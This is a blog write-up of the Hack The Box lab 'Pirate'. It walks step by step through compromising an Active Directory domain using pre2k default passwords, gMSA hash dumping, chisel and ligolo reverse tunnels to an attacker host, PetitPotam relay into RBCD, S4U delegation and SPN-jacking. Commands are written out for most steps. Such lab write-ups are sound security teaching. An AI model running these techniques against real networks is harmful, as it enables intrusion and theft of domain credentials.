Hackthebox: Pirate
Overview
Pirate is a hard-difficulty Windows machine from Hack The Box that is a full-on Active Directory grind. We start with a set of low-priv credentials (pentest:p3nt3st2025!&), hunt the domain for pre2k machine accounts and log in as MS01$ using its default (lowercase machine name) password. From there we abuse gMSA password reads to recover the NT hashes of gMSA_ADCS_prod$ and gMSA_ADFS_prod$, WinRM onto DC01 as one of them, and discover that the box is a Hyper-V host hiding an internal 192.168.100.0/24 network with a second machine WEB01. We pivot in with chisel/ligolo, coerce WEB01$ with PetitPotam and relay that authentication to LDAPS with ntlmrelayx --delegate-access to configure RBCD, then S4U2Self + S4U2Proxy our way to Administrator on WEB01. On WEB01 we lsadump::secrets / DPAPI our way to a.white‘s password, ForceChangePassword on a.white_adm, and finally abuse that account’s WriteSPN rights over DC01$ (SPN-jacking with -altservice CIFS/DC01) to fully compromise the domain. The whole box is one long clock-skew battle, so ntpdate is our best friend.

We are handed a starting set of credentials for this box:
1 | pentest / p3nt3st2025!& |
Reconnaissance
1 | PORT STATE SERVICE VERSION |
This is a textbook domain controller: DNS, Kerberos, LDAP/LDAPS/GC, SMB and WinRM all open, with the certificate telling us the host is DC01.pirate.htb. Two things I want you to burn into memory before we go any further: the domain is pirate.htb, and there’s a +7h00m01s clock skew. That second one is not a footnote — a seven-hour skew will happily nuke every single Kerberos operation we attempt with a clock error, and I promise you’ll forget about it exactly once and waste ten minutes wondering why your ticket request is failing. So we’ll be slapping an ntpdate in front of basically every command from here on. Let’s add pirate.htb and dc01.pirate.htb to our /etc/hosts file and get going with the creds we were given.
Hunting pre2k Machine Accounts
With a valid domain user we can start looking for weak spots. A classic one on these AD boxes is pre-Windows 2000 (pre2k) computer accounts: machine accounts that were pre-staged but never actually joined a host, which means their password is still the default — the lowercase machine name. We can find them with an LDAP filter targeting userAccountControl=4128 (WORKSTATION_TRUST_ACCOUNT + PASSWD_NOTREQD) combined with logonCount=0:
1 | $ ldapsearch -x -H ldap://dc01.pirate.htb -D "[email protected]" -w 'p3nt3st2025!&' -b "DC=pirate,DC=htb" "(&(objectClass=computer)(userAccountControl=4128)(logonCount=0))" samAccountName |
Two candidates: MS01$ and EXCH01$. Because these accounts have never logged on, their password should still be the machine name in lowercase — so MS01$ should have the password ms01. Let’s grab a TGT for it with impacket’s getTGT.py. Note the ntpdate in front to fix that seven-hour skew first, otherwise Kerberos will reject us with a clock error:
1 | $ sudo ntpdate pirate.htb; getTGT.py 'PIRATE.HTB/MS01$:ms01' |
The default password worked, and we now hold a Kerberos ticket for MS01$.
Reading gMSA Passwords
MS01$ is a machine account, which is more useful than it looks. On this domain there are two Group Managed Service Accounts — gMSA_ADCS_prod$ and gMSA_ADFS_prod$ — and whoever sits in the Domain Secure Servers group is allowed to read their managed password blobs (msDS-ManagedPassword). It turns out our MS01$ context can read them, so we point gMSADumper at the DC (again syncing time first, and using -k to authenticate with the ticket we just cached):
1 | $ sudo ntpdate 10.129.8.109 && python3 gMSADumper/gMSADumper.py -d pirate.htb -l dc01.pirate.htb -k |
Two NT hashes fall right out:
1 | gMSA_ADCS_prod$ : 304106f739822ea2ad8ebe23f802d078 |
Foothold - WinRM as gMSA_ADCS_prod$
gMSA_ADCS_prod$ is allowed to log in over WinRM, so we can pass its NT hash straight to evil-winrm and land a shell on the DC:
1 | $ evil-winrm -i 10.129.8.109 -u 'gMSA_ADCS_prod$' -H 304106f739822ea2ad8ebe23f802d078 |
Look at that ipconfig output carefully — there’s a second vEthernet (Switch01) interface on 192.168.100.1. This box is a Hyper-V host, and there’s an internal 192.168.100.0/24 network we can’t reach directly. A quick ping confirms a neighbour lives there:
1 | *Evil-WinRM* PS C:\Users\gMSA_ADCS_prod$\desktop> ping web01 |
So WEB01 is sitting at 192.168.100.2 on the internal network. That’s our next target, but first we need a way to reach it.
Pivoting into 192.168.100.0/24
Two enumeration facts matter here: LDAP signing is not enforced on DC01, and WEB01 is vulnerable to authentication coercion. That combination screams NTLM relay + RBCD, but to pull it off we need to be able to talk to WEB01 and have WEB01 talk back to us. Time to build a tunnel.
The quick way is a reverse SOCKS proxy with chisel. On our attacker box we run the server:
1 | ┌──(kali㉿kali)-[~] |
And on DC01 (our WinRM session) we connect back and expose a SOCKS5 listener:
1 | *Evil-WinRM* PS C:\Users\gMSA_ADCS_prod$\desktop> .\chisel.exe client 10.10.16.203:9000 R:1080:socks |
That works, but for the relay chain the friction of proxying everything through SOCKS gets old fast, so I prefer ligolo-ng, which gives us a real tun interface and lets tools like ntlmrelayx and PetitPotam talk to 192.168.100.0/24 as if it were routable. Set up the interface and route on our side:
1 | ┌──(kali㉿kali)-[~] |
And drop the agent on DC01, pointing it back at our ligolo proxy:
1 | *Evil-WinRM* PS C:\Users\gMSA_ADCS_prod$\Documents> ./agent.exe -connect 10.10.16.172:11601 -ignore-cert |
With start issued, the 192.168.100.0/24 subnet is now routed through the tunnel and we can reach WEB01 at 192.168.100.2 directly.
Coercion + NTLM Relay for RBCD
Now the fun part. The plan:
- Coerce
WEB01$into authenticating to us using PetitPotam (theEfsRpcEncryptFileSrvMS-EFSRPC function, which is typically left unpatched). - Relay that machine authentication to LDAPS on the DC with
ntlmrelayx --delegate-access, which writes Resource-Based Constrained Delegation ontoWEB01$allowing our controlledMS01$to impersonate anyone against it. - Use S4U2Self + S4U2Proxy as
MS01$to get anAdministratorservice ticket forWEB01.
First, fire up the relay listener. We target LDAPS on the DC, tell it to configure delegation, and set the escalate user to MS01$ (the account whose password we control):
1 | ┌──(kali㉿kali)-[~] |
Then, in another terminal, coerce WEB01$ with PetitPotam. We authenticate as gMSA_ADFS_prod$ (using its NT hash), tell WEB01 (192.168.100.2) to authenticate back to our listener:
1 | $ python3 PetitPotam.py \ |
Back on the relay side, the coerced authentication lands and RBCD is configured in one shot:
1 | [*] SMBD-Thread-5 (process_request_thread): Received connection from 10.129.8.109, attacking target ldaps://10.129.8.109 |
MS01$ can now impersonate any user against WEB01$.
Administrator on WEB01
With delegation in place, we use getST.py to request a service ticket for WEB01 while impersonating Administrator. This is exactly where the clock skew warning from earlier comes back to bite — if your time is off by those seven hours, S4U2Self will just die on you. The trick I settled on is to chain everything into a single one-liner: ntpdate to fix the clock, getST.py to mint the ticket, and evil-winrm to jump in immediately, all before the clock has a chance to drift back out. Here we grab an HTTP/WEB01.pirate.htb ticket and go straight into WinRM:
1 | ┌──(kali㉿kali)-[~] |
We’re now Administrator on WEB01 and can grab the user flag from the desktop.
Looting WEB01 - a.white
Being local admin on WEB01, the natural next move is to go looting for stored credentials. Dumping LSA secrets with lsadump::secrets and digging through the DPAPI-protected creds on the box eventually hands us the cleartext password for the domain user a.white — this part is the classic “poke every credential store until something falls out” phase, so don’t expect a single magic command. Either way, a.white is our ticket into the account-abuse portion of the box.
From here the path to full domain admin is a two-step ACL chain:
a.whitehasForceChangePasswordrights overa.white_adm, so we can reset that admin account’s password to something we know.a.white_admis configured for constrained delegation toHTTP/WEB01.pirate.htband holdsWriteSPNover bothDC01$andWEB01$— which is exactly the primitive needed for an SPN-jacking attack against the DC.
First, reset a.white_adm‘s password using a.white‘s credentials (any tool that can do a targeted password reset works here — net rpc password, bloodyAD, pth-net, etc.), giving us:
1 | a.white_adm / kujenPassword123! |
Privilege Escalation - SPN-jacking to Domain Admin
Now for the crown. a.white_adm can delegate to HTTP/WEB01.pirate.htb, but that only gives us WEB01. The trick is to abuse the WriteSPN right to move that SPN onto the DC’s machine account, so the same delegation ticket becomes valid against DC01. This is classic SPN-jacking with addspn, then a getST using -altservice to rewrite the target service inside the ticket.
First, clear the existing SPN off WEB01$:
1 | addspn <DC-IP> -u 'pirate.htb\a.white_adm' -p 'kujenPassword123!' --clear -t 'WEB01$' -dc-ip <DC-IP> |
Then attach the HTTP/WEB01.pirate.htb SPN to DC01$ instead:
1 | addspn <DC-IP> -u 'pirate.htb\a.white_adm' -p 'kujenPassword123!' --spn 'HTTP/WEB01.pirate.htb' -t 'DC01$' -dc-ip <DC-IP> |
Finally, request a service ticket impersonating Administrator for the SPN we control, but use -altservice CIFS/DC01.pirate.htb so the resulting ticket is valid for SMB against the domain controller itself:
1 | getST.py pirate.htb/a.white_adm:'kujenPassword123!' -spn HTTP/WEB01.pirate.htb -impersonate Administrator -dc-ip <DC-IP> -altservice CIFS/DC01.pirate.htb |
That hands us an Administrator.ccache valid for CIFS/DC01.pirate.htb, which is effectively domain admin. Load it up and connect to DC01 as Administrator to read the root flag:
1 | *Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt |
And that wraps up Pirate — a proper hard-box AD marathon: pre2k default passwords, gMSA password reads, a Hyper-V pivot into a hidden subnet, PetitPotam coercion relayed into RBCD, S4U delegation abuse, LSA/DPAPI looting, a forced password reset, and finally SPN-jacking the DC for full domain compromise — all while fighting a seven-hour clock skew every step of the way. Hope you learned something new!
-0xkujen
- Title: Hackthebox: Pirate
- Author: Foued SAIDI
- Created at : 2026-09-09 20:20:00
- Updated at : 2026-09-09 22:24:42
- Link: https://kujen5.github.io/2026/09/09/Hackthebox-Pirate/
- License: This work is licensed under CC BY-NC-SA 4.0.